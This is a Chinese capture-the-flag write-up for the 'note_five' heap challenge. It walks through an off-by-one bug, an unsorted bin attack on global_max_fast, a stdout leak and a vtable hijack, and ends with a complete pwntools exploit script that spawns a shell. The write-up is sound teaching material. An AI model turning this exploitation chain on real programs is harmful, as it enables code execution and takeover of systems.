# unsortedbin_attack global_max_fast

# 保护

1
2
3
4
5
6
7
8
9
10
11
giantbranch@ubuntu:~/Desktop/ruan/attack_global_max_fast$ file note_five 
note_five: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=99cce6e83f71ad3fa44410c59cd5a40b4ade1acb, stripped
giantbranch@ubuntu:~/Desktop/ruan/attack_global_max_fast$ checksec --file=note_five
[*] '/home/giantbranch/Desktop/ruan/attack_global_max_fast/note_five'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
giantbranch@ubuntu:~/Desktop/ruan/attack_global_max_fast$

# 主要程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
__int64 menu()
{
puts("infomation management:");
puts("1. new info");
puts("2. edit info");
puts("3. delete info");
puts("4. exit");
printf("choice>> ");
return get_num();
}

int add()
{
unsigned int *v0; // rax
int idx; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]

printf("idx: ");
idx = get_num();
if ( idx >= 0 && idx <= 4 )
{
printf("size: ");
size = get_num();
if ( size > 0x8F && size <= 0x400 ) // size >fast_max_
{
heaplist[idx] = malloc(size);
v0 = sizeL;
sizeL[idx] = size;
}
else
{
LODWORD(v0) = puts("size error");
}
}
else
{
LODWORD(v0) = puts("idx error");
}
return (int)v0;
}

int sub_D47()
{
int idx; // [rsp+Ch] [rbp-4h]

printf("idx: ");
idx = get_num();
if ( idx < 0 || idx > 4 || !heaplist[idx] )
return puts("idx error");
printf("content: ");
return read_t(heaplist[idx], sizeL[idx], 10LL);
}

__int64 __fastcall sub_A70(__int64 ptr, signed int size, char a3)
{
__int64 result; // rax
unsigned __int8 buf; // [rsp+13h] [rbp-Dh] BYREF
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i > size ) //offbyone
break;
if ( (int)read(0, &buf, 1uLL) <= 0 ) // connot input null
{
puts("read error");
exit(0);
}
result = buf;
if ( buf == a3 ) // a3='\n'
break;
*(_BYTE *)(ptr + i) = buf;
}
return result;
}

int sub_DF5()
{
unsigned int *v0; // rax
int idx; // [rsp+Ch] [rbp-4h]

printf("idx: ");
idx = get_num();
if ( idx >= 0 && idx <= 4 )
{
if ( heaplist[idx] )
free((void *)heaplist[idx]);
heaplist[idx] = 0LL; // no uaf
v0 = sizeL;
sizeL[idx] = 0;
}
else
{
LODWORD(v0) = puts("idx error");
}
return (int)v0;
}

限制了堆块大小,没有输出函数泄露地址,没有 UAF。但 offbyone

# 思路:unsortedbins attack 攻击 global_max_fast,将堆块放入 fastbins.

# 原理:

# unsorted bin 概述

・当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中

・释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中

・当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话

・Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取

・在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中

image-20220401163135175

如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到 bk+0x10 地址,这是一个很大的值

# 过程:

1,构造 overlap,实现 freechunk 的覆盖

2:修改 unsorted_chunk 的 bk,

问题,pie 保护导致没有地址,没有输出但上述导致地址无法泄露,如何覆盖到 global_max_fast?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> heap
0x56021208d000 PREV_INUSE {
prev_size = 0,
size = 135169,
fd = 0x7fb7435a7b78 <main_arena+88>,
bk = 0x7fb7435a7b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> p &global_max_fast
$1 = (size_t *) 0x7fb7435a97f8 <global_max_fast>
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x7fb7435a7b20 <main_arena>
pwndbg>

最低三字节不会变,末尾第 4 字节不确定,但是偏移量不变,爆破

・接着利用 fastbin attack 攻击 stdout-0x51 处,我们要攻击 stdout 结构体来泄露 libc 地址

・stdout-0x51 处有一个错位的 0xff

・泄露 libc 之后就用和 house of orange 一样的技巧来 getshell,即伪造 stderr 的 vtable,触发 malloc_printerr 来 getshell

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

def cmd(command):
p.recvuntil("choice>> ")
p.sendline(str(command))

def add(idx,sz):
cmd(1)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(sz))



def dele(idx):
cmd(3)
p.recvuntil("idx: ")
p.sendline(str(idx))

def edit(idx,content):
cmd(2)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content: ")
p.send(content)


def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./note_five")
gdb.attach(p)

add(0,0x98)
add(1,0xa8)
add(2,0x1e8)
add(3,0xe8)

dele(1)
dele(0)
dele(2)
dele(3)


add(0,0xe8)
add(1,0xf8)
add(2,0xf8)
add(3,0x1f8)
add(4,0xe8)
dele(0)
edit(1,"A"*0xf0+p64(0x1f0)+'\x00')
dele(2)
add(0,0xe8)

t = int(raw_input('guest: '))
# t = 8
global_maxfast = (t << 12) | 0x7f8

stdout = global_maxfast-0x11d8

edit(1,"\x00"*8+p16(global_maxfast-0x10)+'\n')
add(2,0x1f8)
edit(2,"A"*0x1f8+'\xf1')
edit(0,"\x00"*0x98+p64(0xf1)+p16(stdout-0x51)+'\n')
dele(0)
dele(4)

dele(3)
add(3,0x2e8)
edit(3,"A"*0x1f8+p64(0xf1)+'\xa0\n')
dele(2)

add(0,0xe8)
add(2,0xe8)
add(4,0xe8)

edit(4,'A'+"\x00"*0x40+p64(0xfbad1800)+p64(0)*3+'\x00\n')

p.recv(0x40)

libc.address = u64(p.recv(8))-0x3c5600
info("libc : " + hex(libc.address))
pause()
one_gadget = 0xf1207+libc.address

payload = '\x00'+p64(libc.address+0x3c55e0)+p64(0)*3+p64(0x1)+p64(one_gadget)*2+p64(libc.address+0x3c5600-8)
edit(4,payload+'\n')

add(1,1000)
p.interactive()

if __name__ == "__main__":
libc = ELF("./libc-2.23.so",checksec=False)
# elf = ELF("./mheap",checksec=False)
main(args['REMOTE'])
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal